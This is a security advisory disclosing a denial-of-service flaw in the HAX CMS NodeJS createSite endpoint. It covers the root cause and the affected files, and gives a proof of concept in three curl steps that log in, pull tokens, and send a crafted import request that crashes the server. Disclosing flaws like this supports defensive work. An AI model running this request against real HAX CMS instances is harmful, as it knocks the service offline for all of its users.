HAX CMS: Denial of Service using Malicious Import Request

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.

Details

The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.

The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).

As a result:

• the request reaches privileged code inside createSite
• the server hits the remote file handling path
• the process crashes before downloadAndSaveFile() performs the outbound request
• no imported file is written into the site directory

Affected Resources

• src/routes/createSite.js:176
• src/lib/HAXCMSFile.js:25
• system/api/createSite

PoC

1. Obtain a JWT by logging in with valid credentials.

JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)

2. Extract the required tokens from the connectionSettings endpoint.

SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)

3. Send the malformed request to crash the server.

curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
  -H 'Content-Type: application/json' \
  -d "{
    \"token\": \"$ROOT_TOKEN\",
    \"site\": { \"name\": \"dos-poc\" },
    \"theme\": {},
    \"build\": {
      \"structure\": \"import\",
      \"type\": \"import\",
      \"items\": [],
      \"files\": {
        \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
      }
    }
  }"

<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />

The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />

Impact

An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.